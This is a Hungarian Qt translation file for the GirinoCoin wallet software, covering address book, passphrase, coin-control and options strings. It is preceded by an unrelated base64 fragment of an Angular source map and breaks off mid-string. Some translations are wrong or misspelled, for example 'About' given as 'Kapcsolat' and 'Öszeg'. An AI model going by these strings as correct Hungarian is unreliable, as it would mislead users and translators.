Nb2R1bGUgfSBmcm9tICdAYW5ndWxhci9jZGsvYmlkaSc7XG5pbXBvcnQgeyBQbGF0Zm9ybU1vZHVsZSB9IGZyb20gJ0Bhbmd1bGFyL2Nkay9wbGF0Zm9ybSc7XG5pbXBvcnQgeyBDb21tb25Nb2R1bGUgfSBmcm9tICdAYW5ndWxhci9jb21tb24nO1xuaW1wb3J0IHsgTmdNb2R1bGUgfSBmcm9tICdAYW5ndWxhci9jb3JlJztcblxuaW1wb3J0IHsgTnpPdXRsZXRNb2R1bGUgfSBmcm9tICduZy16b3Jyby1hbnRkL2NvcmUvb3V0bGV0JztcbmltcG9ydCB7IE56SWNvbk1vZHVsZSB9IGZyb20gJ25nLXpvcnJvLWFudGQvaWNvbic7XG5cbmltcG9ydCB7IE56QXV0b3NpemVEaXJlY3RpdmUgfSBmcm9tICcuL2F1dG9zaXplLmRpcmVjdGl2ZSc7XG5pbXBvcnQgeyBOeklucHV0R3JvdXBTbG90Q29tcG9uZW50IH0gZnJvbSAnLi9pbnB1dC1ncm91cC1zbG90LmNvbXBvbmVudCc7XG5pbXBvcnQgeyBOeklucHV0R3JvdXBDb21wb25lbnQsIE56SW5wdXRHcm91cFdoaXRTdWZmaXhPclByZWZpeERpcmVjdGl2ZSB9IGZyb20gJy4vaW5wdXQtZ3JvdXAuY29tcG9uZW50JztcbmltcG9ydCB7IE56SW5wdXREaXJlY3RpdmUgfSBmcm9tICcuL2lucHV0LmRpcmVjdGl2ZSc7XG5pbXBvcnQgeyBOelRleHRhcmVhQ291bnRDb21wb25lbnQgfSBmcm9tICcuL3RleHRhcmVhLWNvdW50LmNvbXBvbmVudCc7XG5cbkBOZ01vZHVsZSh7XG4gIGRlY2xhcmF0aW9uczogW1xuICAgIE56VGV4dGFyZWFDb3VudENvbXBvbmVudCxcbiAgICBOeklucHV0RGlyZWN0aXZlLFxuICAgIE56SW5wdXRHcm91cENvbXBvbmVudCxcbiAgICBOekF1dG9zaXplRGlyZWN0aXZlLFxuICAgIE56SW5wdXRHcm91cFNsb3RDb21wb25lbnQsXG4gICAgTnpJbnB1dEdyb3VwV2hpdFN1ZmZpeE9yUHJlZml4RGlyZWN0aXZlXG4gIF0sXG4gIGV4cG9ydHM6IFtcbiAgICBOelRleHRhcmVhQ291bnRDb21wb25lbnQsXG4gICAgTnpJbnB1dERpcmVjdGl2ZSxcbiAgICBOeklucHV0R3JvdXBDb21wb25lbnQsXG4gICAgTnpBdXRvc2l6ZURpcmVjdGl2ZSxcbiAgICBOeklucHV0R3JvdXBXaGl0U3VmZml4T3JQcmVmaXhEaXJlY3RpdmVcbiAgXSxcbiAgaW1wb3J0czogW0JpZGlNb2R1bGUsIENvbW1vbk1vZHVsZSwgTnpJY29uTW9kdWxlLCBQbGF0Zm9ybU1vZHVsZSwgTnpPdXRsZXRNb2R1bGVdXG59KVxuZXhwb3J0IGNsYXNzIE56SW5wdXRNb2R1bGUge31cbiJdfQ==
NzInputModule
bitcoin_hu_HU.ts
<TS language="hu_HU" version="2.1"> <context> <name>AddressBookPage</name> <message> <source>Right-click to edit address or label</source> <translation>A cím vagy a címke jobb gombbal szerkeszthető</translation> </message> <message> <source>Create a new address</source> <translation>Új cím létrehozása</translation> </message> <message> <source>&amp;New</source> <translation>&amp;Új</translation> </message> <message> <source>Copy the currently selected address to the system clipboard</source> <translation>A jelenleg kiválasztott cím másolása a rendszer vágólapjára</translation> </message> <message> <source>&amp;Copy</source> <translation>&amp;Másolás</translation> </message> <message> <source>C&amp;lose</source> <translation>&amp;Bezárás</translation> </message> <message> <source>Delete the currently selected address from the list</source> <translation>A jelenleg kiválasztott cím eltávolítása a listából</translation> </message> <message> <source>Export the data in the current tab to a file</source> <translation>A jelenlegi fülön található adat exportálása fájlba</translation> </message> <message> <source>&amp;Export</source> <translation>&amp;Export</translation> </message> <message> <source>&amp;Delete</source> <translation>&amp;Törlés</translation> </message> <message> <source>Choose the address to send coins to</source> <translation>Válasszon címet a küldéshez</translation> </message> <message> <source>Choose the address to receive coins with</source> <translation>Válasszon címet a fogadáshoz</translation> </message> <message> <source>C&amp;hoose</source> <translation>&amp;Kiválasztás</translation> </message> <message> <source>Sending addresses</source> <translation>Küldő címek</translation> </message> <message> <source>Receiving addresses</source> <translation>Fogadó címek</translation> </message> <message> <source>These are your GirinoCoin addresses for sending payments. Always check the amount and the receiving address before sending coins.</source> <translation>Ezek az Ön kifizetéseinek küldésekor használandó GirinoCoin-címek. Fizetés indítása előtt mindig ellenőrizze az összeget és a fogadó címet!</translation> </message> <message> <source>These are your GirinoCoin addresses for receiving payments. It is recommended to use a new receiving address for each transaction.</source> <translation>Ezek az Ön fizetéseinek fogadásakor használandó GirinoCoin-címek. Célszerű minden tranzakcióhoz új fogadó címet használni.</translation> </message> <message> <source>&amp;Copy Address</source> <translation>&amp;Cím másolása</translation> </message> <message> <source>Copy &amp;Label</source> <translation>Címke &amp;másolása</translation> </message> <message> <source>&amp;Edit</source> <translation>&amp;Szerkesztés</translation> </message> <message> <source>Export Address List</source> <translation>Címlista exportálása</translation> </message> <message> <source>Comma separated file (*.csv)</source> <translation>Vesszővel elválasztott adatok (*.csv)</translation> </message> <message> <source>Exporting Failed</source> <translation>Sikertelen export</translation> </message> <message> <source>There was an error trying to save the address list to %1. Please try again.</source> <translation>Hiba történt a címlista %1-re történő mentése során. Kérjük, próbálja újra!</translation> </message> </context> <context> <name>AddressTableModel</name> <message> <source>Label</source> <translation>Címke</translation> </message> <message> <source>Address</source> <translation>Cím</translation> </message> <message> <source>(no label)</source> <translation>(nincs címke)</translation> </message> </context> <context> <name>AskPassphraseDialog</name> <message> <source>Passphrase Dialog</source> <translation>Jelszóhalmaz Párbeszédablak</translation> </message> <message> <source>Enter passphrase</source> <translation>Adja meg jelmondatát</translation> </message> <message> <source>New passphrase</source> <translation>Új jelmondat</translation> </message> <message> <source>Repeat new passphrase</source> <translation>Ismételje meg jelmondatát</translation> </message> <message> <source>Show password</source> <translation>Jelszó megjelenítése</translation> </message> <message> <source>Enter the new passphrase to the wallet.&lt;br/&gt;Please use a passphrase of &lt;b&gt;ten or more random characters&lt;/b&gt;, or &lt;b&gt;eight or more words&lt;/b&gt;.</source> <translation>Adja meg az új jelszóhalmazt a pénztárcájához. &lt;br/&gt;Kérem a jelszóhalmaz álljon&lt;b&gt;tíz vagy több véletlenszerű karakterből&lt;/b&gt;, vagy &lt;b&gt;nyolc vagy több szóból&lt;/b&gt;.</translation> </message> <message> <source>Encrypt wallet</source> <translation>Tárca kódolása</translation> </message> <message> <source>This operation needs your wallet passphrase to unlock the wallet.</source> <translation>Ehhez a művelethez szükség lesz a pénztárcájához tartozó jelszóhalmazra, hogy hozzáférjen a pénztárcához.</translation> </message> <message> <source>Unlock wallet</source> <translation>Tárca feloldása</translation> </message> <message> <source>This operation needs your wallet passphrase to decrypt the wallet.</source> <translation>Ehhez a művelethez szükség lesz a pénztárcájához tartozó jelszóhalmazra, hogy feloldja a pénztárca titkosítását.</translation> </message> <message> <source>Decrypt wallet</source> <translation>Tárca dekódolása</translation> </message> <message> <source>Change passphrase</source> <translation>Jelmondat megváltoztatása</translation> </message> <message> <source>Enter the old passphrase and new passphrase to the wallet.</source> <translation>Adja meg a régi jelszóhalmazt és az új jelszóhalmazt a pénztárcájához.</translation> </message> <message> <source>Confirm wallet encryption</source> <translation>Tárca titkosításának jóváhagyása</translation> </message> <message> <source>Warning: If you encrypt your wallet and lose your passphrase, you will &lt;b&gt;LOSE ALL OF YOUR GIRINOCOINS&lt;/b&gt;!</source> <translation>Figyelem: Ha titkosítja a pénztárcáját, és elveszíti a jelszóhalmazt, akkor &lt;b&gt;NEM TUD TÖBBET HOZZÁFÉRNI A GIRINOCOINJAIHOZ&lt;/b&gt;!</translation> </message> <message> <source>Are you sure you wish to encrypt your wallet?</source> <translation>Biztosan titkosítani kívánja a tárcáját?</translation> </message> <message> <source>Wallet encrypted</source> <translation>Tárca titkosítva</translation> </message> <message> <source>%1 will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your girinocoins from being stolen by malware infecting your computer.</source> <translation>%1 Most az ablak bezáródik, amíg befejeződik a titkosítási folyamat. Kérem vegye figyelembe, hogy a pénztárca titkosítása nem jelenti a girinocoinjai teljes körű védelmét, a számítógépét esetlegesen megfertőző kártékony programoktól.</translation> </message> <message> <source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source> <translation>FONTOS: A régebbi biztonsági mentéseket frissítse az új, titkosított pénztárca fájllal. Biztonsági okokból, a korábbi titkosítatlan pénztárca fájlok nem használhatóak az új titkosított pénztárcával.</translation> </message> <message> <source>Wallet encryption failed</source> <translation>Tárca titkosítása sikertelen</translation> </message> <message> <source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source> <translation>A pénztárca titkosítása programhiba miatt meghiúsult . A pénztárca nem titkosított.</translation> </message> <message> <source>The supplied passphrases do not match.</source> <translation>A megadott jelszóhalmazok nem egyeznek.</translation> </message> <message> <source>Wallet unlock failed</source> <translation>Tárca feloldása sikertelen</translation> </message> <message> <source>The passphrase entered for the wallet decryption was incorrect.</source> <translation>A jelszóhalmaz, amelyet megadott a pénztárca titkosításának a feloldásához, helytelen.</translation> </message> <message> <source>Wallet decryption failed</source> <translation>Tárca dekódolása sikertelen</translation> </message> <message> <source>Wallet passphrase was successfully changed.</source> <translation>A tárca jelmondata sikeresen megváltozott.</translation> </message> <message> <source>Warning: The Caps Lock key is on!</source> <translation>Figyelmeztetés: A Caps Lock billentyű benyomva!</translation> </message> </context> <context> <name>BanTableModel</name> <message> <source>IP/Netmask</source> <translation>IP/Netmask</translation> </message> <message> <source>Banned Until</source> <translation>Kitiltva a megadott időpontig</translation> </message> </context> <context> <name>BitcoinGUI</name> <message> <source>Sign &amp;message...</source> <translation>Üzenet &amp;aláírása</translation> </message> <message> <source>Synchronizing with network...</source> <translation>Szinkronizálás a hálózattal...</translation> </message> <message> <source>&amp;Overview</source> <translation>Á&amp;ttekintés</translation> </message> <message> <source>Node</source> <translation>Csomópont</translation> </message> <message> <source>Show general overview of wallet</source> <translation>A pénztárca általános áttekintése</translation> </message> <message> <source>&amp;Transactions</source> <translation>&amp;Tranzakciók</translation> </message> <message> <source>Browse transaction history</source> <translation>Tranzakció-történet böngészése</translation> </message> <message> <source>E&amp;xit</source> <translation>Ki&amp;lépés</translation> </message> <message> <source>Quit application</source> <translation>Alkalmazás bezárása</translation> </message> <message> <source>&amp;About %1</source> <translation>&amp;Kapcsolat %1</translation> </message> <message> <source>Show information about %1</source> <translation>További információ %1</translation> </message> <message> <source>About &amp;Qt</source> <translation>Kapcsolat &amp;Qt</translation> </message> <message> <source>Show information about Qt</source> <translation>További információ Qt</translation> </message> <message> <source>&amp;Options...</source> <translation>&amp;Beállítások...</translation> </message> <message> <source>Modify configuration options for %1</source> <translation>A %1 konfigurációs beállításainak módosítása</translation> </message> <message> <source>&amp;Encrypt Wallet...</source> <translation>&amp;Tárca titkosítása</translation> </message> <message> <source>&amp;Backup Wallet...</source> <translation>Tárca &amp;biztonsági másolása</translation> </message> <message> <source>&amp;Change Passphrase...</source> <translation>&amp;Jelszóhalmaz megváltoztatása</translation> </message> <message> <source>&amp;Sending addresses...</source> <translation>&amp;Címek küldése</translation> </message> <message> <source>&amp;Receiving addresses...</source> <translation>Címek &amp;fogadása</translation> </message> <message> <source>Open &amp;URI...</source> <translation>&amp;URI... Megnyitása</translation> </message> <message> <source>Click to disable network activity.</source> <translation>Kattintson a hálózati tevékenység felfüggesztéséhez.</translation> </message> <message> <source>Network activity disabled.</source> <translation>Hálózati tevékenység letiltva.</translation> </message> <message> <source>Click to enable network activity again.</source> <translation>Kattintson a hálózati tevékenység ismételt engedélyezéséhez.</translation> </message> <message> <source>Syncing Headers (%1%)...</source> <translation>Fejlécek szinkronizálása (%1%)...</translation> </message> <message> <source>Reindexing blocks on disk...</source> <translation>A blokkok újraindexelése folyik a merevlemezen...</translation> </message> <message> <source>Send coins to a GirinoCoin address</source> <translation>Érmék küldése egy GirinoCoin címre</translation> </message> <message> <source>Backup wallet to another location</source> <translation>Tárca biztonsági mentése más helyre</translation> </message> <message> <source>Change the passphrase used for wallet encryption</source> <translation>A tárca titkosításához használt jelszóhalmaz megváltoztatása</translation> </message> <message> <source>&amp;Debug window</source> <translation>&amp;Hibakereső ablak</translation> </message> <message> <source>Open debugging and diagnostic console</source> <translation>Hibakereső és diagnosztikai konzol megnyitása</translation> </message> <message> <source>&amp;Verify message...</source> <translation>Üzenet &amp;ellenőrzése</translation> </message> <message> <source>GirinoCoin</source> <translation>GirinoCoin</translation> </message> <message> <source>Wallet</source> <translation>Tárca</translation> </message> <message> <source>&amp;Send</source> <translation>Küldé&amp;s</translation> </message> <message> <source>&amp;Receive</source> <translation>&amp;Fogadás</translation> </message> <message> <source>&amp;Show / Hide</source> <translation>&amp;Mutat/Elrejt</translation> </message> <message> <source>Show or hide the main Window</source> <translation>Fő ablak megjelenítése vagy elrejtése</translation> </message> <message> <source>Encrypt the private keys that belong to your wallet</source> <translation>Tárcájához tartozó privát kulcsok titkosítása</translation> </message> <message> <source>Sign messages with your GirinoCoin addresses to prove you own them</source> <translation>Írja alá az üzeneteit a GirinoCoin címével, hogy bizonyítsa Öntől származnak</translation> </message> <message> <source>Verify messages to ensure they were signed with specified GirinoCoin addresses</source> <translation>Ellenőrizze az üzeneteket, hogy a megadott GirinoCoin címekkel lettek-e aláírva</translation> </message> <message> <source>&amp;File</source> <translation>&amp;Fájl</translation> </message> <message> <source>&amp;Settings</source> <translation>&amp;Beállítások</translation> </message> <message> <source>&amp;Help</source> <translation>Sú&amp;gó</translation> </message> <message> <source>Tabs toolbar</source> <translation>Ablak fülek eszköztára</translation> </message> <message> <source>Request payments (generates QR codes and girinocoin: URIs)</source> <translation>Kérjen fizetéseket (QR kódokat generál és girinocoin: URLeket)</translation> </message> <message> <source>Show the list of used sending addresses and labels</source> <translation>Mutassa a használt küldő címek és cimkék listáját</translation> </message> <message> <source>Show the list of used receiving addresses and labels</source> <translation>Mutassa a használt fogadó címek és cimkék listáját</translation> </message> <message> <source>Open a girinocoin: URI or payment request</source> <translation>Nyisson meg egy girinocoin: URI-t vagy fizetési kérelmet</translation> </message> <message> <source>&amp;Command-line options</source> <translation>&amp;Parancssor beállításai</translation> </message> <message numerus="yes"> <source>%n active connection(s) to GirinoCoin network</source> <translation><numerusform>%n aktív kapcsolat a GirinoCoin-hálózaton</numerusform><numerusform>%n aktív kapcsolat a GirinoCoin-hálózaton</numerusform></translation> </message> <message> <source>Indexing blocks on disk...</source> <translation>A blokkok indexelése folyik a merevlemezen...</translation> </message> <message> <source>Processing blocks on disk...</source> <translation>A blokkok feldolgozása a merevlemezen...</translation> </message> <message numerus="yes"> <source>Processed %n block(s) of transaction history.</source> <translation><numerusform>A tranzakció-történetből %n blokk feldolgozva.</numerusform><numerusform>A tranzakció-történetből %n blokk feldolgozva.</numerusform></translation> </message> <message> <source>%1 behind</source> <translation>%1 mögött</translation> </message> <message> <source>Last received block was generated %1 ago.</source> <translation>Az utolsó kapott blokk %1 ideje keletkezett.</translation> </message> <message> <source>Transactions after this will not yet be visible.</source> <translation>Az ez utáni tranzakciók még nem fognak látszani.</translation> </message> <message> <source>Error</source> <translation>Hiba</translation> </message> <message> <source>Warning</source> <translation>Figyelmeztetés</translation> </message> <message> <source>Information</source> <translation>Információ</translation> </message> <message> <source>Up to date</source> <translation>Naprakész</translation> </message> <message> <source>Show the %1 help message to get a list with possible GirinoCoin command-line options</source> <translation>Mutassa a %1 súgó üzenetet a lehetséges GirinoCoin parancssori beállítások listájáért</translation> </message> <message> <source>%1 client</source> <translation>%1 kliens</translation> </message> <message> <source>Connecting to peers...</source> <translation>Kapcsolatok kialakítása...</translation> </message> <message> <source>Catching up...</source> <translation>Felzárkózás...</translation> </message> <message> <source>Date: %1 </source> <translation>Dátum: %1 </translation> </message> <message> <source>Amount: %1 </source> <translation>Összeg: %1 </translation> </message> <message> <source>Type: %1 </source> <translation>Típus: %1 </translation> </message> <message> <source>Label: %1 </source> <translation>Címke: %1 </translation> </message> <message> <source>Address: %1 </source> <translation>Cím: %1 </translation> </message> <message> <source>Sent transaction</source> <translation>Elküldött tranzakció</translation> </message> <message> <source>Incoming transaction</source> <translation>Bejövő tranzakció</translation> </message> <message> <source>HD key generation is &lt;b&gt;enabled&lt;/b&gt;</source> <translation>HD kulcs generálás &lt;b&gt;engedélyezve&lt;/b&gt;</translation> </message> <message> <source>HD key generation is &lt;b&gt;disabled&lt;/b&gt;</source> <translation>HD kulcs generálás &lt;b&gt;tiltva&lt;/b&gt;</translation> </message> <message> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;unlocked&lt;/b&gt;</source> <translation>Tárca &lt;b&gt;titkosítva&lt;/b&gt; és jelenleg &lt;b&gt;nyitva&lt;/b&gt;</translation> </message> <message> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;locked&lt;/b&gt;</source> <translation>Tárca &lt;b&gt;titkosítva&lt;/b&gt; és jelenleg &lt;b&gt;zárolva&lt;/b&gt;</translation> </message> <message> <source>A fatal error occurred. GirinoCoin can no longer continue safely and will quit.</source> <translation>Fatális hiba történt. A GirinoCoin program nem tud tovább biztonságosan működni és be fog záródni.</translation> </message> </context> <context> <name>CoinControlDialog</name> <message> <source>Coin Selection</source> <translation>Érme választó</translation> </message> <message> <source>Quantity:</source> <translation>Mennyiség:</translation> </message> <message> <source>Bytes:</source> <translation>Bájtok:</translation> </message> <message> <source>Amount:</source> <translation>Öszeg:</translation> </message> <message> <source>Fee:</source> <translation>Díj:</translation> </message> <message> <source>Dust:</source> <translation>Porszem:</translation> </message> <message> <source>After Fee:</source> <translation>Eljárási díj után:</translation> </message> <message> <source>Change:</source> <translation>Változás:</translation> </message> <message> <source>(un)select all</source> <translation>minden kiválasztása(kiválasztás megszüntetése)</translation> </message> <message> <source>Tree mode</source> <translation>Fa mód</translation> </message> <message> <source>List mode</source> <translation>Lista mód</translation> </message> <message> <source>Amount</source> <translation>Összeg</translation> </message> <message> <source>Received with label</source> <translation>Címkével fogadott</translation> </message> <message> <source>Received with address</source> <translation>Címmel fogadott</translation> </message> <message> <source>Date</source> <translation>Dátum</translation> </message> <message> <source>Confirmations</source> <translation>Jóváhagyások</translation> </message> <message> <source>Confirmed</source> <translation>Jóváhagyva</translation> </message> <message> <source>Copy address</source> <translation>Cím másolása</translation> </message> <message> <source>Copy label</source> <translation>Címke másolása</translation> </message> <message> <source>Copy amount</source> <translation>Összeg másolása</translation> </message> <message> <source>Copy transaction ID</source> <translation>Tranzakció ID másolása</translation> </message> <message> <source>Lock unspent</source> <translation>El nem költött zárolása</translation> </message> <message> <source>Unlock unspent</source> <translation>El nem költött nyitása</translation> </message> <message> <source>Copy quantity</source> <translation>Mennyiség másolása</translation> </message> <message> <source>Copy fee</source> <translation>Díj másolása</translation> </message> <message> <source>Copy after fee</source> <translation>Eljárási díj utáni másolás</translation> </message> <message> <source>Copy bytes</source> <translation>Bájtok másolása</translation> </message> <message> <source>Copy dust</source> <translation>Por másolása</translation> </message> <message> <source>Copy change</source> <translation>Változás másolása</translation> </message> <message> <source>(%1 locked)</source> <translation>(%1 zárolva)</translation> </message> <message> <source>yes</source> <translation>igen</translation> </message> <message> <source>no</source> <translation>nem</translation> </message> <message> <source>This label turns red if any recipient receives an amount smaller than the current dust threshold.</source> <translation>Ez a címke pirosra változik, ha valamelyik fogadó fél kisebb összeget kap, mint a jelenlegi porszem határérték.</translation> </message> <message> <source>Can vary +/- %1 satoshi(s) per input.</source> <translation>Változó +/- %1 satoshi(k) megadott értékenként.</translation> </message> <message> <source>(no label)</source> <translation>(nincs címke)</translation> </message> <message> <source>change from %1 (%2)</source> <translation>változtatás %1 -ről (%2)</translation> </message> <message> <source>(change)</source> <translation>(módosítás)</translation> </message> </context> <context> <name>EditAddressDialog</name> <message> <source>Edit Address</source> <translation>Cím szerkesztése</translation> </message> <message> <source>&amp;Label</source> <translation>&amp;Címke</translation> </message> <message> <source>The label associated with this address list entry</source> <translation>Ezzel a cím bejegyzéssel társított címke</translation> </message> <message> <source>The address associated with this address list entry. This can only be modified for sending addresses.</source> <translation>Ezzel a cím bejegyzéssel társított cím. Ezt csak a küldő címek esetén lehet megváltoztatni.</translation> </message> <message> <source>&amp;Address</source> <translation>&amp;Cím</translation> </message> <message> <source>New receiving address</source> <translation>Új fogadási cím</translation> </message> <message> <source>New sending address</source> <translation>Új küldési cím</translation> </message> <message> <source>Edit receiving address</source> <translation>Fogadási cím szerkesztése</translation> </message> <message> <source>Edit sending address</source> <translation>Küldési cím szerkesztése</translation> </message> <message> <source>The entered address "%1" is not a valid GirinoCoin address.</source> <translation>A megadott cím"%1" nem egy érvényes GirinoCoin cím.</translation> </message> <message> <source>The entered address "%1" is already in the address book.</source> <translation>A megadott cím "%1" már szerepel a címlistában.</translation> </message> <message> <source>Could not unlock wallet.</source> <translation>A tárca feloldása nem lehetséges</translation> </message> <message> <source>New key generation failed.</source> <translation>Új kulcs létrehozása sikertelen</translation> </message> </context> <context> <name>FreespaceChecker</name> <message> <source>A new data directory will be created.</source> <translation>Új mappa lesz létrehozva.</translation> </message> <message> <source>name</source> <translation>név</translation> </message> <message> <source>Directory already exists. Add %1 if you intend to create a new directory here.</source> <translation>A könyvtár már létezik. %1 hozzáadása, ha új könyvtárat kíván létrehozni.</translation> </message> <message> <source>Path already exists, and is not a directory.</source> <translation>Az elérési út létezik, de nem egy mappa.</translation> </message> <message> <source>Cannot create data directory here.</source> <translation>Itt nem hozható létre mappa.</translation> </message> </context> <context> <name>HelpMessageDialog</name> <message> <source>version</source> <translation>verzió</translation> </message> <message> <source>(%1-bit)</source> <translation>(%1-bit)</translation> </message> <message> <source>About %1</source> <translation>Kapcsolat %1</translation> </message> <message> <source>Command-line options</source> <translation>Parancssor beállításai</translation> </message> <message> <source>Usage:</source> <translation>Használat:</translation> </message> <message> <source>command-line options</source> <translation>parancssor beállításai</translation> </message> <message> <source>UI Options:</source> <translation>Felhasználói felület beállításai</translation> </message> <message> <source>Choose data directory on startup (default: %u)</source> <translation>Adja meg az indításkor használt adat könyvtárat (alapbeállítás: %u)</translation> </message> <message> <source>Set language, for example "de_DE" (default: system locale)</source> <translation>Nyelv beállítása, például "de_DE" (alaphelyzetben: a helyi rendszer nyelve)</translation> </message> <message> <source>Start minimized</source> <translation>Indítás rejtett ablakkal</translation> </message> <message> <source>Set SSL root certificates for payment request (default: -system-)</source> <translation>A fizetési kérelmek SSL tanúsítványainak beállítása (alaphelyzetben: -a rendszer beállításai szerint-)</translation> </message> <message> <source>Show splash screen on startup (default: %u)</source> <translation>Mutassa a kezdő képet indításkor (alaphelyzetben: %u)</translation> </message> <message> <source>Reset all settings changed in the GUI</source> <translation>A grafikus felület összes megváltoztatott beállításának a visszaállítása</translation> </message> </context> <context> <name>Intro</name> <message> <source>Welcome</source> <translation>Üdvözöljük</translation> </message> <message> <source>Welcome to %1.</source> <translation>Üdvözöljük itt: %1.</translation> </message> <message> <source>As this is the first time the program is launched, you can choose where %1 will store its data.</source> <translation>Mivel ez a program első indulása, megváltoztathatja %1 hova mentse az adatokat.</translation> </message> <message> <source>When you click OK, %1 will begin to download and process the full %4 block chain (%2GB) starting with the earliest transactions in %3 when %4 initially launched.</source> <translation>Ha az OK-ra kattint, %1 megkezdi a teljes %4 blokk lánc letöltését és feldolgozását (%2GB) a legkorábbi tranzakciókkal kezdve %3 -ben, amikor a %4 bevezetésre került.</translation> </message> <message> <source>This initial synchronisation is very demanding, and may expose hardware problems with your computer that had previously gone unnoticed. Each time you run %1, it will continue downloading where it left off.</source> <translation>Az első szinkronizáció nagyon erőforrás-igényes és felszínre hozhat a számítógépében eddig rejtve maradt hardver problémákat. Minden %1 indításnál a program onnan folytatja a letöltést, ahol legutóbb abbahagyta.</translation> </message> <message> <source>If you have chosen to limit block chain storage (pruning), the historical data must still be downloaded and processed, but will be deleted afterward to keep your disk usage low.</source> <translation>Ha a tárolt blokk lánc méretének korlátozását (megnyesését) választotta, akkor is le kell tölteni és feldolgozni az eddig keletkezett összes adatot, de utána ezek törlésre kerülnek, hogy ne foglaljunk sok helyet a merevlemezen.</translation> </message> <message> <source>Use the default data directory</source> <translation>Alapértelmezett adatmappa használata</translation> </message> <message> <source>Use a custom data directory:</source> <translation>Egyéni adatmappa használata:</translation> </message> <message> <source>GirinoCoin</source> <translation>GirinoCoin</translation> </message> <message> <source>At least %1 GB of data will be stored in this directory, and it will grow over time.</source> <translation>Legalább %1 GB adatot fogunk ebben a könyvtárban tárolni és idővel ez egyre több lesz.</translation> </message> <message> <source>Approximately %1 GB of data will be stored in this directory.</source> <translation>Hozzávetőlegesen %1 GB adatot fogunk ebben a könyvtárban tárolni.</translation> </message> <message> <source>%1 will download and store a copy of the GirinoCoin block chain.</source> <translation>%1 le fog töltődni és a GirinoCoin blokk lánc egy másolatát fogja tárolni.</translation> </message> <message> <source>The wallet will also be stored in this directory.</source> <translation>Ebben a könyvtárban lesz a pénztárca is.</translation> </message> <message> <source>Error: Specified data directory "%1" cannot be created.</source> <translation>Hiba: A megadott könyvtárat "%1" nem sikerült létrehozni.</translation> </message> <message> <source>Error</source> <translation>Hiba</translation> </message> <message numerus="yes"> <source>%n GB of free space available</source> <translation><numerusform>%n GB szabad hely áll rendelkezésre</numerusform><numerusform>%n GB szabad hely áll rendelkezésre</numerusform></translation> </message> </context> <context> <name>ModalOverlay</name> <message> <source>Form</source> <translation>Űrlap</translation> </message> <message> <source>Recent transactions may not yet be visible, and therefore your wallet's balance might be incorrect. This information will be correct once your wallet has finished synchronizing with the girinocoin network, as detailed below.</source> <translation>A legutóbbi tranzakciók még lehet, hogy nem látszanak, ezért előfordulhat, hogy a pénztárca egyenlege nem a valós állapotot mutatja. Ha a pénztárca befejezte a szinkronizációt a girinocoin hálózattal, utána már az aktuális egyenleget fogja mutatni, amint alant részletesen látszik.</translation> </message> <message> <source>Attempting to spend girinocoins that are affected by not-yet-displayed transactions will not be accepted by the network.</source> <translation>A hálózat nem fogadja el azoknak a girinocoinoknak az elköltését, amelyek érintettek a még nem látszódó tranzakciókban.</translation> </message> <message> <source>Number of blocks left</source> <translation>Hátralévő blokkok száma</translation> </message> <message> <source>Unknown...</source> <translation>Ismeretlen...</translation> </message> <message> <source>Last block time</source> <translation>Utolsó blokk ideje</translation> </message> <message> <source>Progress</source> <translation>Folyamat</translation> </message> <message> <source>Progress increase per hour</source> <translation>A folyamat előrehaladása óránként</translation> </message> <message> <source>calculating...</source> <translation>számolás...</translation> </message> <message> <source>Estimated time left until synced</source> <translation>Hozzávetőlegesen a hátralévő idő a szinkronizáció befejezéséig</translation> </message> <message> <source>Hide</source> <translation>Elrejtés</translation> </message> <message> <source>Unknown. Syncing Headers (%1)...</source> <translation>Ismeretlen. Fejlécek szinkronizálása (%1)...</translation> </message> </context> <context> <name>OpenURIDialog</name> <message> <source>Open URI</source> <translation>URI megnyitása</translation> </message> <message> <source>Open payment request from URI or file</source> <translation>Fizetési kérelem megnyitása URI-ból vagy fájlból</translation> </message> <message> <source>URI:</source> <translation>URI:</translation> </message> <message> <source>Select payment request file</source> <translation>A fizetési kérelem fájl kiválasztása</translation> </message> <message> <source>Select payment request file to open</source> <translation>Válassza ki a megnyitni kívánt fizetési kérelem fájlt</translation> </message> </context> <context> <name>OptionsDialog</name> <message> <source>Options</source> <translation>Opciók</translation> </message> <message> <source>&amp;Main</source> <translation>&amp;Fő</translation> </message> <message> <source>Automatically start %1 after logging in to the system.</source> <translation>%1 automatikus indítása a rendszerbe való belépés után.</translation> </message> <message> <source>&amp;Start %1 on system login</source> <translation>&amp;Induljon el a %1 a rendszerbe való belépéskor</translation> </message> <message> <source>Size of &amp;database cache</source> <translation>Az &amp;adatbázis cache mérete</translation> </message> <message> <source>MB</source> <translation>MB</translation> </message> <message> <source>Number of script &amp;verification threads</source> <translation>A szkript &amp;igazolási szálak száma</translation> </message> <message> <source>IP address of the proxy (e.g. IPv4: 127.0.0.1 / IPv6: ::1)</source> <translation>Proxy IP címe (pl.: IPv4: 127.0.0.1 / IPv6: ::1)</translation> </message> <message> <source>Shows if the supplied default SOCKS5 proxy is used to reach peers via this network type.</source> <translation>Megmutatja, hogy az alapértelmezett SOCKS5 proxy van-e használatban, hogy elérje a párokat ennél a hálózati típusnál.</translation> </message> <message> <source>Hide the icon from the system tray.</source> <translation>Rejtse el az ikont a rendszer tálcáról.</translation> </message> <message> <source>&amp;Hide tray icon</source> <translation>&amp;Tálcaikon elrejtése</translation> </message> <message> <source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Exit in the menu.</source> <translation>Kilépés helyett a program elrejtése az ablak bezárása után. Ha engedélyezte ezt a beállítást, akkor csak úgy tud kilépni a programból, ha a menüből a Kilépés opciót választja.</translation> </message> <message> <source>Third party URLs (e.g. a block explorer) that appear in the transactions tab as context menu items. %s in the URL is replaced by transaction hash. Multiple URLs are separated by vertical bar |.</source> <translation>Harmadik féltől származó URL-ek (pl. egy blokk felfedező) amelyek a tranzakciós fülön jelennek meg mint a környezetérzékeny menü tételei. %s az URL-ben helyettesítve a tranzakciós hash-el. Több URL esetén, függőleges vonal választja el őket.</translation> </message> <message> <source>Active command-line options that override above options:</source> <translation>Aktív parancssori beállítások, melyek felülírják a fenti beállításokat:</translation> </message> <message> <source>Open the %1 configuration file from the working directory.</source> <translation>A %1 konfigurációs fájl megnyitása a 